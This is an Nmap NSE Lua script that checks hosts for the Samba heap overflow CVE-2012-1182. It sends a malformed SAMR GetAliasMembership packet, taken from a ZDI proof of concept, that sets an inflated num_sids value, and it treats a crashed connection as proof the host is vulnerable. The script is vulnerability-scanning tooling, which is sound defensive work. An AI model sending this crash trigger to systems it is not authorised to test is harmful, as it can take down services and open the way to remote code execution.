local bin = require "bin"
local msrpc = require "msrpc"
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"

description = [[
Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182. 

Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.


CVE-2012-1182 marks multiple heap overflow vulnerabilities located in 
PIDL based autogenerated code. This check script is based on PoC by ZDI
marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray 
function where an attacker is under control of num_sids and can cause
insuficient memory to be allocated, leading to heap buffer overflow
and posibility of remote code execution. 

Script builds a malitious packet and makes a SAMR GetAliasMembership 
call which triggers the vulnerability. On the vulnerable system,
connection is droped and result is "Failed to receive bytes after 5 attempts".
On patched system, samba throws an error and result is  "MSRPC call 
returned a fault (packet type)". 

References: 
* https://bugzilla.samba.org/show_bug.cgi?id=8815
* http://www.samba.org/samba/security/CVE-2012-1182

]]

-----------------------------------------------------------------------
---
-- @usage
-- nmap --script=samba-vuln-cve-2012-1182  -p 139 <target>
-- @output
-- PORT    STATE SERVICE
-- 139/tcp open  netbios-ssn
-- 
-- Host script results:
-- | samba-vuln-cve-2012-1182: 
-- |   VULNERABLE:
-- |   SAMBA remote heap overflow
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2012-1182
-- |     Risk factor: HIGH  CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       Samba versions 3.6.3 and all versions previous to this are affected by
-- |       a vulnerability that allows remote code execution as the "root" user
-- |       from an anonymous connection.
-- |       
-- |     Disclosure date: 2012-03-15
-- |     References:
-- |       http://www.samba.org/samba/security/CVE-2012-1182
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182

author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}

hostrule = function(host)
	return smb.get_port(host) ~= nil
end

action = function(host,port)

	local result, stats
	local response = {}

	local samba_cve  = {
		title = "SAMBA remote heap overflow",
		IDS = {CVE = 'CVE-2012-1182'},
		risk_factor = "HIGH",
		scores = {
		  CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
		},
		description = [[
Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.
		]],
		references = {
		  'http://www.samba.org/samba/security/CVE-2012-1182',
		},
		dates = {
		  disclosure = {year = '2012', month = '03', day = '15'},
		},
		exploit_results = {},
	}

	local report = vulns.Report:new(SCRIPT_NAME, host, port)
	samba_cve.state = vulns.STATE.NOT_VULN

	-- create SMB session
	local status, smbstate
	status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
	if(status == false) then
		return false, smbstate
	end
	
	-- bind to SAMR service
	local bind_result
	status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
	if(status == false) then
		msrpc.stop_smb(smbstate)
		return false, bind_result
	end

	-- create malicious packet, same as in the PoC
	local data = bin.pack("<I",4096)  -- num_sids
					.. "abcd" 
         ..bin.pack("<III",100
						  ,0
						  ,100)
		 ..string.rep("a",1000)
		 						
	local marshaledHandle = string.rep("X",20)
	status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
	print(status, result)
	if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
		samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed 
	end	
	
	return report:make_output(samba_cve)

end